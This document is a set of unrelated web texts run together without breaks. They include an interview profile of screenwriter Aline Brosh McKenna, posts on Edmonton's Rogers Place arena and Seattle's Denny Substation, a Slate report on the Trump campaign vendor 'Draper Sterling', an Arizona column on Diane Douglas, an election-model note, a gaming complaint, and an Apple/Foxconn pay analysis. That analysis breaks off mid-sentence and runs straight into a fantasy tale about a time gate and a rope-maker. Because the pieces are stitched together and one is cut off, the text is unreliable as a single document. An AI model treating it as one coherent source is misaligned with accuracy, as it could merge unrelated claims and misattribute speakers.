A couple of weeks later, Brosh McKenna and I are sitting in a coffee shop near her home in Los Angeles, unpacking how that creativity-hostile climate came to be. “I was the last guy off the bus,” she admits. Even after colleagues in the film industry began decamping for television, Brosh McKenna liked the flexibility of movies enough to stick it out instead opting to try the Trojan horse route of attempting to fit her individual voice within a larger franchise. She wrote Annie and a treatment for what eventually became the live-action Cinderella remake where the archetypal pretty princess was recast as a knight. “And then what I realized is, corporations have exigencies that have nothing to do with writing,” she explains. “They kind of needed to make a Cinderella that was recognizably a Cinderella, which I completely understand.”
But Brosh McKenna’s brushes with big-budget compromise inadvertently helped shape the thoroughly uncompromising Crazy Ex-Girlfriend. After linking up with Bloom at a general meeting—Hollywood speak for chatting with a potential collaborator to see if something clicks, usually with nothing to show for it except a bottle of water—Brosh McKenna decided to partner with her on the would-be show whose title and premise she’d had on a back burner for a while. Initially, Crazy Ex, which debuted on the CW in 2015, was a passion project on the side of Brosh McKenna’s film career, an idea so far-fetched there was no reason not to fully commit and never back down. Eventually, that commitment paid off in one of television’s sharpest, most distinctive comedies, which is also a culmination of sorts for Brosh McKenna’s work to date: an application of hard-won experience and capital; a deconstruction of the romantic-comedy tropes Brosh McKenna knows so well; and an ambitious, serialized long-form story of the kind television’s only just begun to accommodate.
“I don’t know that I would have been able to do it earlier in my career. I had no motivation to do it any way other than the way I wanted to do it,” she says. “I could walk away from it because I had another career, and Rachel could walk away from it because she was so young. So we just never did anything to it that we didn’t want to do. There’s not one thing in there that anybody made us do, and I kind of think you can tell.”
Though it’s her first experience as a showrunner, Crazy Ex-Girlfriend isn’t Brosh McKenna’s first stint in TV. After graduating from Harvard, the New Jersey native spent much of the early ’90s writing comedy pilots with The Ben Stiller Show’s Jeff Kahn. None were produced as series in their own right, but one, which she describes as “Friends with no money,” was reworked into the last episode of Margaret Cho’s short-lived All-American Girl—a backdoor pilot for an attempted pivot from family comedy to friends-in-the-city comedy that never came to be. It was Brosh McKenna’s first produced script.
Nine pilot scripts later, however—six were rejected outright, and three were shot but never ordered to series—and Brosh McKenna was burned out by TV’s relentless turnover. “Every season your beloved pilot becomes garbage, never to be seen again, and I never got used to that,” she says. “The TV pilot season of like, just, documents going in the garbage was very hard.” In movies, scripts could spend years in development, as 27 Dresses did, before finally making the leap to production; in network television, every pilot season starts with a fresh slate. There were creative frustrations, too: “It was a different time in TV. Things in the comedy world were very repetitive. There wasn’t a lot of narrative progression,” she points out. Before streaming services made watching every episode of a series in chronological order the norm, individual TV episodes had to stand on their own, lest viewers skip a week or catch the show in syndication.
The model of the self-sustained sitcom episode still thrives in The Big Bang Theory and Black-ish, but now they’re supplemented by seasons-long stories in both comedy (You’re the Worst, Catastrophe) and drama (Breaking Bad, which Brosh McKenna cites as explicit inspiration for Crazy Ex-Girlfriend). “I originally wrote for television when comedies were more about spitting out copies of themselves. Which I love! I love shows like that, but it’s not something I’m great at,” says Brosh McKenna.
So she kept writing movies, where she could use the references she loved—particularly screwball comedies of the ’30s and ’40s like The Awful Truth, Bringing Up Baby, Midnight, and The Lady Eve—as a model for her own feature scripts. “When I was growing up in the ’80s in New Jersey, being a smart, ambitious girl was not considered cute,” Brosh McKenna says. “I think [my interest] started with the fantasy that you could be Rosalind Russell and be a newspaperman and command the respect of Cary Grant and kind of fight it out with him while you’re fighting it out for a story. That made a huge impression on me: There was a world where boys, because I was young, and then men, would respect and admire you for your accomplishments. Which does exist—maybe not in suburban New Jersey, but it was out there.”
Even though she came up in the supposed heyday of rom-coms, Brosh McKenna’s interests somewhat deviated from the de rigueur model of the ’90s. Screwballs “are really two-handers, and the rom-coms of the ’90s are really single-handers,” she says. “It’s like a big female lead and some other handsome British gentleman or whatever.” With all due respect to handsome British gentlemen, Brosh McKenna was as interested in everything in the heroine’s life surrounding the romance as the central romance itself. “I don’t think anybody defines themselves by their romantic relationship except in that brief period of time when you’re really trying to find the person. After that, that really isn’t the end sentence of your autobiography,” she argues. “But romantic comedies tend to posit the end of the love story is the end of the answer.”
Brosh McKenna dubbed her ideal happy ending “and-a-man”: “It would be like, trying to see if her life would work out … and a man, because there’s also a trope of leaving women in movies alone, just alone. I always wanted to show how those things can come together; they can inform each other. Figuring out your spiritual, personal journey can affect your romantic life and vice versa. But that’s not the endgame, because if we know anything of life, it’s not that you have that kiss and then everything’s perfect.”
While we’re on the topic: The Devil Wears Prada is not a romantic comedy. Brosh McKenna is adamant about this distinction, though she understands the impulse to miscategorize. A more accurate term would be “competence porn,” which is exactly what it feels like to watch Miranda Priestly stroll down a hallway and make a dozen decisions that will consume her underlings’ entire days. “The prize in that movie is not her love relationship,” she insists. “The real love story is, she ends up with that newspaper, having understood the world better and having understood her naiveté better.”
More than 10 years on, The Devil Wears Prada has already gone through several waves of interpretation. For some, Miranda Priestly is the Boss From Hell personified; for others, she’s an avatar of high-level success. The truth, Brosh McKenna says, is somewhere down the middle. Anne Hathaway’s Andy Sachs is “somebody who’s discovering that what she really wants to do is write those pieces about the janitors’ union that she has in the beginning, while also realizing that Miranda’s excellence and her high standards is something she’s learned from the job.”
Brosh McKenna herself has some added perspective on the movie now that she, too, is in charge of nearly 200 people each day. Despite her interest in workplace stories, a TV show is the closest Brosh McKenna’s come to a conventional office. Feature screenwriting is largely done in solitude and on one’s own schedule, a lifestyle that suited Brosh McKenna as a mother of two: “It’s not really less work, but you can determine, ‘OK, I’m gonna work now, the baby’s asleep.’” Coordinating scripts is different from assembling a magazine, but Brosh McKenna feels a certain kinship with Miranda now that she’s at a more analogous point in her career. “I love the idea that she’s so monastically devoted to this thing, but it’s the best thing. In some respects, it’s interesting, because I wrote it before I was a boss,” she explains. “But striving for perfection, you can easily end up having it fill all the gaps in your life because that’s the kind of job, like being a showrunner, that you’re never done, you’re never finished, you could always be doing something else. So Miranda maybe needs some work-life balance and probably some sleep-hygiene training.”
But while Brosh McKenna was pleasantly surprised at how little pushback she got against Prada’s mostly man-less happy ending—dashing as Simon Baker might be, he and Andy aren’t the endgame—she started to chafe at some of studio filmmaking’s restrictions, some age-old and some new. “I often had a lot of issues in development where I wanted to have a nontraditional ending to a romantic comedy,” she says. “Like on 27 Dresses, I just did not want her to end up with anybody. I wanted her to end up becoming a more realized person. And so it was a years-long back-and-forth with the producer who was like, ‘You’re insane.’” (At the end of the movie, Katherine Heigl’s inveterate bridesmaid eventually ties the knot with James Marsden.)
Combined with the overall climate in Hollywood for original concepts, rom-coms included, Brosh McKenna started to see the writing on the wall. Morning Glory, a TV producer-comedy starring Rachel McAdams and Harrison Ford in the vein of Broadcast News, squeaked through with the help of producer J.J. Abrams: “After I wrote the script, there were some regime shifts at Paramount, and it became clear that it was going to be really hard to make a movie like this anywhere, so J.J. really got that movie made with his gathering muscle [from Star Trek], and by giving the script to Harrison. That was the last one through the door for me, in terms of ‘Don’t let the door hit you on the way out,’ and in terms of being a studio movie that was a character-driven, woman-in-the-workplace story.” To tell those kinds of stories going forward, Brosh McKenna would have to make the leap back into the dramatically transformed world of television.
When Brosh McKenna told her agent about the series she and Bloom were developing, he instantly recognized its inspiration: “The first thing he said to me then was, ‘You are finally going to get to do what you wanted to do in all those rom-com movies.’” Those changes include, though are not limited to, eschewing a happy ending, skewering rom-com conventions, and being unafraid to alienate the audience—starting with the theme song.
“There’s so much of girls tripping down stairs, saving kittens from windows and stuff in rom-coms to make them likable and protect them,” Brosh McKenna sighs. “Working on Crazy Ex was the opposite of that.” The story of a high-achieving lawyer named Rebecca Bunch (Bloom) who drops everything and moves to suburban Southern California in pursuit of her summer camp ex-boyfriend, Josh Chan (Vincent Rodriguez III), through behavior that objectively qualifies as stalking, Crazy Ex-Girlfriend is hardly concerned with likability; the most recent episode opens with a scene where Rebecca viciously tears into her closest friends out of misdirected self-loathing.
Contrary to what the obsessed Rebecca might believe, love isn’t the primary concern, either. “The relationship that we ’ship is Rebecca and her own mental health, really,” Brosh McKenna says. “That’s really what the show is about. We use love in our culture as like it’s gonna save you, it’s gonna make everything OK if you just find the right person. And that’s not true. Wherever you go, there you are, and that first blush of intense infatuation, which makes you feel like everything’s gonna be OK—once that wears off, you’re left with yourself.” Crazy Ex-Girlfriend may look like a romantic comedy and sometimes act like one, but in reality, it’s a methodical takedown of the entire genre’s implicit thesis.
Because a series has so much more room to explore than a feature, Bloom and Brosh McKenna also have the leeway to dig into the rom-com’s parts as well as its overarching theme of puppy love as a panacea. Rebecca herself is a series-long subversion of the titular stereotype; every supporting player, meanwhile, represents a deepening of their own. “That was the thing that was peeling me off from my movie career,” Brosh McKenna says. “Creating a character like [Rebecca’s best friend] Paula, but also not just having her be sort of a Rosie O’Donnell sidekick—actually figuring out what that was about, and what that meant, and who she was, and inhabiting that character.” Part mother-daughter and part mentor-mentee, Rebecca and Paula’s relationship, Brosh McKenna says, is based on her and Bloom’s own, minus all the enabling.
That process extends to Rebecca’s various love interests, whose supporting role in her development is a neat inversion of pop culture’s typical hierarchy that nonetheless treats them as real, vulnerable people. “All the romantic interests that are men in the show, we really figure out why they have these tropes,” Brosh McKenna notes. “Why Josh is this perpetual high school hero, and why [Josh’s friend] Greg is the nice guy—the slightly loser-ish, nice guy, that’s a big trope—and then [Rebecca’s new boss] Nathaniel is more of the jerky, rich asshole trope. It really allowed me to pick those things apart like wishbones, and it’s just not a thing that fits in well with what was happening in the early 2000s with romantic comedies.”
Crazy Ex-Girlfriend has expanded Brosh McKenna’s professional horizons in ways beyond pivoting to TV, or even making the meta-rom-com she’d always wanted to make. For one thing, the show has now produced more than 100 original, satirical musical numbers, a logistical and creative challenge that Brosh McKenna has acclimated to over time—though, she claims, “That’s not dissimilar from the blue speech in Prada. It’s like a thing where you can stop and have someone do a comedic aria of some type. I always try and have something like that in every movie that I’ve done, where somebody kind of helps you understand why the movie’s on the planet. And songs are really kind of efficient, super fun way of doing that.” Crazy Ex-Girlfriend’s best numbers, from “Put Yourself First” to “Let’s Generalize About Men,” are astonishingly concise expressions of knotty, subtle concepts that, thanks to the musical format, don’t have to be couched in fiction.
There’s also the not-insignificant matter of running female-created, female-starring, female-staffed show about our cultural conceptions of womanhood in a male-dominated industry. Seven of the 10 members of Crazy Ex-Girlfriend writers’ room are women; so is its line producer and many of its department heads. When I inevitably broach the subject of being a woman in Hollywood, however, Brosh McKenna gets reflective and understandably turns to the news. “I think that all of the bullshit that I experienced being a woman happened earlier in my career,” she acknowledges. “I had learned to walk past it, and that’s just what I did,” like the time she walked into a one-on-one meeting with a man who, without asking her permission, wordlessly took a Polaroid of her and pinned it on the wall. “That’s what I would tell young writers to do, in fact. I would always say to women when they were starting that people are going to say crazy stuff to you. They’re going to talk about your body. And I feel kind of weirdly bad and complicit about that now, but like, I didn’t know how to speak up about it myself.”
That’s partly why, now that she’s in a position of power, Brosh McKenna has been so protective of both Bloom and their show. Brosh McKenna refused to work with networks that wanted to make significant changes to the concept, and once Crazy Ex-Girlfriend landed at the CW after producing a pilot at Showtime, she insisted Bloom be given the title of executive producer so she wouldn’t be subject to others’ authority on a show she created. (Brosh McKenna is currently developing multiple series with Crazy Ex writers under an overall deal at CBS Studios where she makes the same demand.) Though Bloom and Brosh McKenna technically had the same level of experience with showrunning going into Crazy Ex-Girlfriend—which is to say, none—Brosh McKenna casts herself as something of a seasoned tour guide to Bloom’s relative newcomer. “My access to her was direct, as direct as a friend from high school,” she marvels. “And I had spent so many years being kind of a mandarin, being really familiar with the back-calls and how to get your work through through all those byzantine things, including people patting your ass.” The show is a partnership between two complementary creative halves: One a fresh voice announcing itself to the world, and the other a mature voice whose insights the industry has finally caught up to.
“The core of our connection is two writers,” Brosh McKenna says of the duo’s fateful first meeting. “I had this Crazy Ex-Girlfriend idea, [and] it just hit me in the middle of it. It’s kind of like when you have those ideas you carry them around in your pocket and you wait for the right moment. I was talking to her, and I thought, ‘Oh my god, this is how to do that! “Pictures of Your Dick” is that!’” The rest is cringe-y, shrewd, catchy, uncomfortable, occasionally obscene history.Edmonton hockey fans have been patiently waiting for a new complex to house their beloved Oilers, who have been playing out of the aging Rexall Place — the NHL's second oldest arena — since 1974. Fortunately, Edmonton won't have to wait much longer, as their new hockey throne Rogers Place is expected to be puck-ready for the 2016-2017 season.
Rogers Place, image via Katz Group Properties
Led by the City of Edmonton and Katz Group Properties, owners of the Edmonton Oilers, the arena will accommodate 18,641 hockey fans. The $450 million CAD project is hoping to obtain LEED Silver certification, and if achieved, this would be the first NHL facility in Canada to earn the distinction.
Rogers Place construction, image by Forum contributor Daveography
Erected on a 16-acre site downtown, the building boasts integration with a neighbouring casino, a 1,000-seat community rink, and the newly opened MacEwan LRT Station, making transit an easy and convenient option. An expansive pedestrian connection, the Winter Garden, juts out from the building like an oil drop, stretching over 104th Avenue into a future public plaza. Both the plaza and Rogers Arena are essential elements of the massive Ice District site, a mixed-use entertainment complex poised to contain a hotel, an office building, and Edmonton's future tallest tower.
Rogers Place Winter Garden, image by Forum contributor Daveography
Designed by 360 Architecture (acquired by HOK in 2015), Dialog Architects, Manica Architecture, and ATB Architecture, the arena's curved form has continued to impress passersby. Rectangular stainless steel panels are beginning to be installed alongside the building's existing curvilinear glass.
Rogers Place construction, image by Forum contributor Daveography
Forum contributor Daveography captured the start of this process with new images from the site depicting these sheets, which are most likely wrapped in a protective blue coating to avoid any damage associated with the ongoing construction of the building. Renderings for the project indicate a more traditional stainless steel grey look, with some blue accents at ground level. Though construction has already been a sight to behold, the cladding's sleek and contemporary aesthetic will surely invite new architecture enthusiasts and photographers to the site.
Rogers Place cladding installation, image by Forum contributor Daveography
Rogers Place and the Ice District are a highly visible symbol of Edmonton's urban renaissance. Although slumping oil prices have prompted worries about the provincial economy, the city's development scene continues to be one of the hottest in the country, as new residential units, hotel rooms, and modern office space are added to the Albertan capital.
Rogers Place, image via Katz Group Properties
Additional images and information can be found in the Database files linked below. Want to get involved in the discussion? Check out the associated Forum thread or leave a comment at the bottom of this page.NBBJ
Construction is underway for Seattle’s Denny Substation, an innovative electrical substation determined to defy expectations by becoming a vibrant public gathering place rather than a blight on the landscape.
Designers NBBJ said that Seattle’s booming tech, biomedical, and nonprofit sectors have created an unprecedented demand for local power. “Electrical substations, which transform and distribute electricity, are the core of a city’s power grid,” they said in a project description. “They are also mostly glum, concrete facilities filled with wires and electrical equipment relegated to obscure desolate stretches of cityscapes.”
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The Denny Substation, an initiative of Seattle City Light, is being built in Seattle’s South Lake Union neighborhood and will bring power to residents and organizations such as the Bill and Melinda Gates Foundation, Amazon, and Facebook.
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Describing the project as “a physical merging of public infrastructure, architecture, urban design and landscape architecture,” the Denny Substation will include a public park, an off-leash dog park, public art installations, a museum and gallery space, a public plaza for food trucks and entertainment, and an elevated walkway that allows visitors to peer into and learn about the inner workings of the substation.
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The complex, which is expected to be completed in 2018, aims to set an example of sustainability, powered by 89.9 percent clean hydroelectric energy and 3.9 percent wind energy, with exhibition and meeting spaces producing more energy than they expend.
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“Denny Substation lights the way for the next generation of large-scale public infrastructure,” NBBJ said. “By re-defining its role in urban cities, the project seeks to promote sustainable development and foster innovation within all cities on the rise, challenging them to see new infrastructure development as opportunities for civic engagement.”"I've worked with others for four years to turn a piece of land which had been left overgrown, covered in broken bottles and bricks, into a more attractive area. It's all been self-funded as we were turned down for funding by the parish council.
"We even bought the sign that says 'Wonderful Wistaston' - now I feel like replacing it with one that says 'Miserable Wistaston'."
He added: "All we've tried to do over the past four years is improve the area where we live - and it's all been self-funded. I could get many more volunteers if I wanted, the support on the whole in the village has been tremendous.
"But not from the parish council. There are certain people who have lived in communities for many years who don't like newcomers, regardless of their experience.
"We placed a nice colourful bench on the land, and it was ripped up a few weeks later for no reason! We've put it back since, and concreted it in.10:30:14
TOBIN...and was able to maybe not go through some of the as severe or long-standing sense of hiding or of dysphoria as maybe some other people have experienced. You know, I got to a point, in my late adolescence, where I -- I could understand what it meant to be transgender and I could say, oh, yes. Okay. That's me. I definitely, this sense that I've had of being different is that I am a transgender woman and I may be feeling that I'm not -- that I am doing okay in college and in my personal relationships now. But I know that if I don't make this change in my life, to be able to live more authentically, that I can know -- I know that the direction I'm going is of more dysphoria and loneliness and depression.Draper Sterling HQ. Ruth Graham
On Monday night, Donald Trump’s campaign filed its May disclosure report with the Federal Election Commission. The Trump campaign has about $1.3 million in cash, the report revealed, compared with the Clinton campaigns’s $41 million. Combined with the news that the Trump campaign employs just about 70 staffers to Clinton’s 700, the New York Times calls it “the worst financial and organizational disadvantage of any major party nominee in recent history.” Sad!
But something else stuck out in the FEC paperwork. The Trump campaign paid $35,000 for “web advertising” to something or someone called “Draper Sterling.” The apparently Mad Men–inspired company name lists an address that appears to be a home in a residential neighborhood in Londonderry, New Hampshire. (ThinkProgress’ Judd Legum seems to have noticed it first.)
Here’s where things get sticky. Draper Sterling was registered with the state in March to a guy named Jon Adkins. Adkins co-founded a medical device company called XenoTherapeutics with Paul Holzer, a Dartmouth medical student. Holzer used Adkins’ home address for another payment from the Trump campaign in May. Londonderry is next to Windham, where Trump’s freshly fired campaign manager Corey Lewandowski is based. Also in the mix: an apparently nonexistent café serving “the New Hampshire spirit with a touch of Southern hospitality.”
Legum has been doing the best online detective work on all of this, digging into the odd connections between Draper Sterling, Grace’s, Adkins, Holzer, and Holzer’s brother, who runs a firm called Patriots for America. The only other apparent evidence for the existence of a company called “Draper Sterling” is a mention in an FEC complaint against Patriots for America. That complaint accuses Draper Sterling of being “mysterious,” and questions why Patriots for America owed it $56,234: “This transaction is highly unusual (or its description highly misleading).” As Legum summarizes the whole mess, “We still aren’t sure what Draper Sterling actually does but these individuals are going to considerable lengths to obfuscate their activities.”
I drove to Draper Sterling on Tuesday to see what was going on at this plucky local advertising firm doing well-remunerated work for a national presidential campaign. The address took me down a winding residential street. Near the end of a dead-end road was a two-story home with a tidy yard. A little girl peeked out the window as I approached, and a woman who appeared to be in her 50s answered the door, opening it just a crack.
This was Sharon, Jon Adkins’ mother-in-law. “I don’t know what he does,” she told me. “All I do is I watch his kids.” That seemed unusual! My in-laws know what I do for a living, and they live in an entirely different state. “He’s in the medical field,” Sharon finally told me warily, eventually naming XenoTherapeutics, another company that Adkins and Holzer have been involved with. “I know that he does a lot of business out of Boston. Whatever he does, I don’t know.”
OK, yes, she went on, he’s done some kind of political work—she wouldn’t say what—but it was in Massachusetts, not New Hampshire. “I don’t get into politics, I don’t care about it, I don’t even think I’m going to vote this year because I don’t like either one,” she told me, repeating what seemed to be the most important point to her: “I don’t get into his business.” That was all she would say. “Go find Trump!” she advised me. Update, Tuesday, June 21, 2016, 3 p.m.: I also spoke with a garrulous, handsy German man who identified himself as Adkins’ father-in-law; when I asked him if he’d heard of Draper Sterling, he replied, “Yes,” but added, “I don’t know nothing.”
A neighbor across the street, Bill, watched from his front yard with his daughter and granddaughters. He told me he thought Adkins worked in pharmaceuticals. They’re a nice family, he said; the kids play together. The Adkinses just moved in a few months ago. When I told Bill why I was in the neighborhood, he laughed: “He’s never talked about Trump to me.”Montini: Please, Arizona, do NOT recall Diane Douglas
Superintendent of Public Instruction Diane Douglas. (Photo: Patrick Breen/The Republic)
It is my genuine hope that parents, teachers and school administrators, along with every other citizen who wants to improve the state of education in Arizona, will take it to heart when I say with all sincerity:
Forget about the children…
…think about ME.
Please, please, under no circumstance, recall Diane Douglas.
The woman is a gold mine.
Maybe not for our school kids. Maybe not for education. Maybe not for the state. But certainly for me and for all of my brothers and sisters in the media.
During her relatively brief time as Arizona’s Superintendent of Public Instruction Douglas has become, through her words and actions, the default front page story subject for every slow news day.
Nothing going on? Fine, get me a Douglas quote.
This is no surprise. We saw this coming. Or should have seen it.
Still, when Douglas got elected it seemed like a post-election prank when two local men, Anthony Espinoza and Max Goshert, announced a campaign to recall Douglas just after the votes were tallied.
They established a website (recalldouglas.com) that drew a lot of early visitors and support, with Goshert telling me at the time, "We were really surprised by the momentum that it (the recall campaign) gained and how quickly that occurred. It really told us a lot about the community's feeling toward Douglas' win. She clenched this powerful position with a kind of shadow campaign. One note. No Common Core. No other ideas. What we found out was people who paid attention to this election were really dismayed by this result. More so than any other race, I think.'"
Since then Douglas has provided one bizarre comment or action after another, transforming what seemed like a snarky election protest into an actual recall campaign.
This is not good.
For me.
The Coalition to Recall Diane Douglas on Tuesday submitted paperwork with the Arizona Secretary of State's office to collect and gather signatures to recall Douglas.
According to a spokesman for Douglas, it doesn't bother her. "This is not on Superintendent Douglas’ radar at all," said Charles Tack. "She remains focused on supporting Arizona students, parents and educators, something that has not changed since she took office in January."
Really? Her focus hasn't changed since January? If that's true she's really going to need a new pair of binoculars.
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The recall group now will have to collect roughly 366,000 signatures in 120 days.
It’s a tall order. It will take money, volunteers and momentum. Of course, the energy and enthusiasm necessary for a successful recall effort would best be provided by Douglas herself. As recall co-founder Espinoza told me a while back, “The more she talks the more support we get.”
To that extent, those who care most about Arizona's education system and the success of future generations would encourage Douglas to keep yapping. Expounding. Complaining.
I, on the other hand, would ask the superintendent, simply, to zip it. I would encourage her, for the next 120 days, to … Keep. Her. Mouth. Shut.
Not for the good of the kids.
Not for the good of the state.
Not even for her own good.
For me.
Read or Share this story: http://azc.cc/1Ezew9BModel shows Clinton as favorite in most of Tuesday’s primaries
Alan I. Abramowitz, Senior Columnist, Sabato's Crystal Ball
Based on a slightly revised version of a model I created in advance of the March 15 Democratic primaries, Hillary Clinton appears to be a solid favorite in Delaware, Maryland, and Pennsylvania, as well as a marginal favorite in Connecticut. Meanwhile, Bernie Sanders appears to be a favorite in Rhode Island.
This model uses three predictors from the Democratic primary exit polls — percentage of African-American voters, percentage of self-identified Democrats, and region — and it explains 90% of the variance in 19 primaries to date for which exit poll data are available, excluding Sanders’ home state of Vermont, where he clearly enjoyed a substantial home state advantage. Here are the regression results:
And here is a scatterplot for the predictions:
Chart 1: Scatterplot of Clinton vote share in Democratic primaries by predicted Clinton vote share
This model is not perfect by any means, but it performed fairly well and did nail the results for the New York primary. So here are the predictions for next Tuesday, using exit polls from the 2008 Democratic primary:
Table 1: Model predictions for April 26 Democratic primaries
The main reason Clinton is a strong favorite in these states is that, except for Rhode Island, they all have a low percentage of self-identified independents voting in the Democratic primary, like New York (all of these states have closed primaries except for Rhode Island). In addition, Maryland and Delaware have significant African-American electorates.
Sanders is already far behind in the delegate count, and in all likelihood he’ll find himself in an even deeper hole after Tuesday.I am starting to get angry about this.Each time my clan arrives in the 1/4, semi-final, final. The other team always knows what strategy we have and thats because the clan we woned against, agrees to tell what we done to our next opponents.This is getting frustating.This night, we had a defence strategy for all the battles.We done 1/32, 1/16, 1/8,1/4, Semi-Final.In 1/4 we woned against HUNFS, but then we met RDDT, and they destroyed 4 of our tanks in the first minute.They knew exactly where we setted our scout and other 3 tanks with their arty.The funny part is, that they arty shooted AP and not HE and shooted at exactly the location of our tanks.Even funnier is, that we asked the HUNFS if they said our strategy to RDDT and they said yes.Picture :This analysis compares the compensation of Apple’s top executives to the compensation received by the Chinese workers of Apple’s supplier Foxconn. The most complete data are for 2011. In that year, Apple’s nine-person executive leadership team received total compensation of $441 million. This was equivalent to the estimated compensation of 95,000 Foxconn factory workers assembling Apple products.
Enough information is now available to make a reasoned comparison for 2012, and the findings are similar. The executive team is on track to receive compensation of at least $412 million. This conservative estimate is equivalent to the compensation of 89,000 of the Chinese factory workers making Apple products.
These calculations are explained in full below.
Compensation at Apple’s supplier Foxconn
The difficult working conditions experienced by Chinese workers employed at Foxconn who assemble Apple products have received widespread attention this year. In March 2012, at Apple’s behest, the Fair Labor Association completed an investigation of these conditions, which included a survey of the Foxconn workers. Among the findings were that “64.3 percent of workers thought that their salary was not sufficient to cover their basic needs” even though they worked under difficult circumstances and for an average of 56 |
a span of twenty years."
I confess I did not understand his remark immediately. I imagined him reaching his arm in from the right side and waiting twenty years before it emerged from the left side, and it seemed a very obscure magic trick. I said as much, and he laughed. "That is one use for it," he said, "but consider what would happen if you were to step through." Standing on the right side, he gestured for me to come closer, and then pointed through the doorway. "Look."
I looked, and saw that there appeared to be different rugs and pillows on the other side of the room than I had seen when I had entered. I moved my head from side to side, and realized that when I peered through the doorway, I was looking at a different room from the one I stood in.
"You are seeing the room twenty years from now," said Bashaarat.
I blinked, as one might at an illusion of water in the desert, but what I saw did not change. "And you say I could step through?" I asked.
"You could. And with that step, you would visit the Baghdad of twenty years hence. You could seek out your older self and have a conversation with him. Afterwards, you could step back through the Gate of Years and return to the present day."
Hearing Bashaarat's words, I felt as if I were reeling. "You have done this?" I asked him. "You have stepped through?"
"I have, and so have numerous customers of mine."
"Earlier you said I was the first to whom you showed this."
"This Gate, yes. But for many years I owned a shop in Cairo, and it was there that I first built a Gate of Years. There were many to whom I showed that Gate, and who made use of it."
"What did they learn when talking to their older selves?"
"Each person learns something different. If you wish, I can tell you the story of one such person." Bashaarat proceeded to tell me such a story, and if it pleases Your Majesty, I will recount it here.
THE TALE OF THE FORTUNATE ROPE-MAKER
THERE ONCE WAS a young man named Hassan who was a maker of rope. He stepped through the Gate of Years to see the Cairo of twenty years later, and upon arriving he marveled at how the city had grown. He felt as if he had stepped into a scene embroidered on a tapestry, and even though the city was no more and no less than Cairo, he looked upon the most common sights as objects of wonder.
He was wandering by the Zuweyla Gate, where the sword dancers and snake charmers perform, when an astrologer called to him. "Young man! Do you wish to know the future?"
Hassan laughed. "I know it already," he said.
"Surely you want to know if wealth awaits you, do you not?"
"I am a rope-maker. I know that it does not."
"Can you be so sure? What about the renowned merchant Hassan al-Hubbaul, who began as a rope-maker?"
His curiosity aroused, Hassan asked around the market for others who knew of this wealthy merchant, and found that the name was well known. It was said he lived in the wealthy Habbaniya quarter of the city, so Hassan walked there and asked people to point out his house, which turned out to be the largest one on its street.
He knocked at the door, and a servant led him to a spacious and well-appointed hall with a fountain in the center. Hassan waited while the servant went to fetch his master, but as he looked at the polished ebony and marble around him, he felt that he did not belong in such surroundings, and was about to leave when his older self appeared.
"At last you are here!" the man said. "I have been expecting you!"
"You have?" said Hassan, astounded.
"Of course, because I visited my older self just as you are visiting me. It has been so long that I had forgotten the exact day. Come, dine with me."
The two went to a dining room, where servants brought chicken stuffed with pistachio nuts, fritters soaked in honey, and roast lamb with spiced pomegranates. The older Hassan gave few details of his life: he mentioned business interests of many varieties, but did not say how he had become a merchant; he mentioned a wife, but said it was not time for the younger man to meet her. Instead, he asked young Hassan to remind him of the pranks he had played as a child, and he laughed to hear stories that had faded from his own memory.
At last the younger Hassan asked the older, "How did you make such great changes in your fortune?"
"All I will tell you right now is this: when you go to buy hemp from the market, and you are walking along the Street of Black Dogs, do not walk along the south side as you usually do. Walk along the north."
"And that will enable me to raise my station?"
"Just do as I say. Go back home now; you have rope to make. You will know when to visit me again."
Young Hassan returned to his day and did as he was instructed, keeping to the north side of the street even when there was no shade there. It was a few days later that he witnessed a maddened horse run amok on the south side of the street directly opposite him, kicking several people, injuring another by knocking a heavy jug of palm oil onto him, and even trampling one person under its hooves. After the commotion had subsided, Hassan prayed to Allah for the injured to be healed and the dead to be at peace, and thanked Allah for sparing him.
The next day Hassan stepped through the Gate of Years and sought out his older self. "Were you injured by the horse when you walked by?" he asked him.
"No, because I heeded my older self's warning. Do not forget, you and I are one; every circumstance that befalls you once befell me."
And so the elder Hassan gave the younger instructions, and the younger obeyed them. He refrained from buying eggs from his usual grocer, and thus avoided the illness that struck customers who bought eggs from a spoiled basket. He bought extra hemp, and thus had material to work with when others suffered a shortage due to a delayed caravan. Following his older self's instructions spared Hassan many troubles, but he wondered why his older self would not tell him more. Who would he marry? How would he become wealthy?
Then one day, after having sold all his rope in the market and carrying an unusually full purse, Hassan bumped into a boy while walking on the street. He felt for his purse, discovered it missing, and turned around with a shout to search the crowd for the pickpocket. Hearing Hassan's cry, the boy immediately began running through the crowd. Hassan saw that the boy's tunic was torn at the elbow, but then quickly lost sight of him.
For a moment Hassan was shocked that this could happen with no warning from his older self. But his surprise was soon replaced by anger, and he gave chase. He ran through the crowd, checking the elbows of boys' tunics, until by chance he found the pickpocket crouching beneath a fruit wagon. Hassan grabbed him and began shouting to all that he had caught a thief, asking them to find a guardsman. The boy, afraid of arrest, dropped Hassan's purse and began weeping. Hassan stared at the boy for a long moment, and then his anger faded, and he let him go.
When next he saw his older self, Hassan asked him, "Why did you not warn me about the pickpocket?"
"Did you not enjoy the experience?" asked his older self.
Hassan was about to deny it, but stopped himself. "I did enjoy it," he admitted. In pursuing the boy, with no hint of whether he'd succeed or fail, he had felt his blood surge in a way it had not for many weeks. And seeing the boy's tears had reminded him of the Prophet's teachings on the value of mercy, and Hassan had felt virtuous in choosing to let the boy go.
"Would you rather I had denied you that, then?"
Just as we grow to understand the purpose of customs that seemed pointless to us in our youth, Hassan realized that there was merit in withholding information as well as in disclosing it. "No," he said, "it was good that you did not warn me."
The older Hassan saw that he had understood. "Now I will tell you something very important. Hire a horse. I will give you directions to a spot in the foothills to the west of the city. There you will find within a grove of trees one that was struck by lightning. Around the base of the tree, look for the heaviest rock you can overturn, and then dig beneath it."
"What should I look for?"
"You will know when you find it."
The next day Hassan rode out to the foothills and searched until he found the tree. The ground around it was covered in rocks, so Hassan overturned one to dig beneath it, and then another, and then another. At last his spade struck something besides rock and soil. He cleared aside the soil and discovered a bronze chest, filled with gold dinars and assorted jewelry. Hassan had never seen its like in all his life. He loaded the chest onto the horse, and rode back to Cairo.
The next time he spoke to his older self, he asked, "How did you know where the treasure was?"
"I learned it from myself," said the older Hassan, "just as you did. As to how we came to know its location, I have no explanation except that it was the will of Allah, and what other explanation is there for anything?"
"I swear I shall make good use of these riches that Allah has blessed me with," said the younger Hassan.
"And I renew that oath," said the older. "This is the last time we shall speak. You will find your own way now. Peace be upon you."
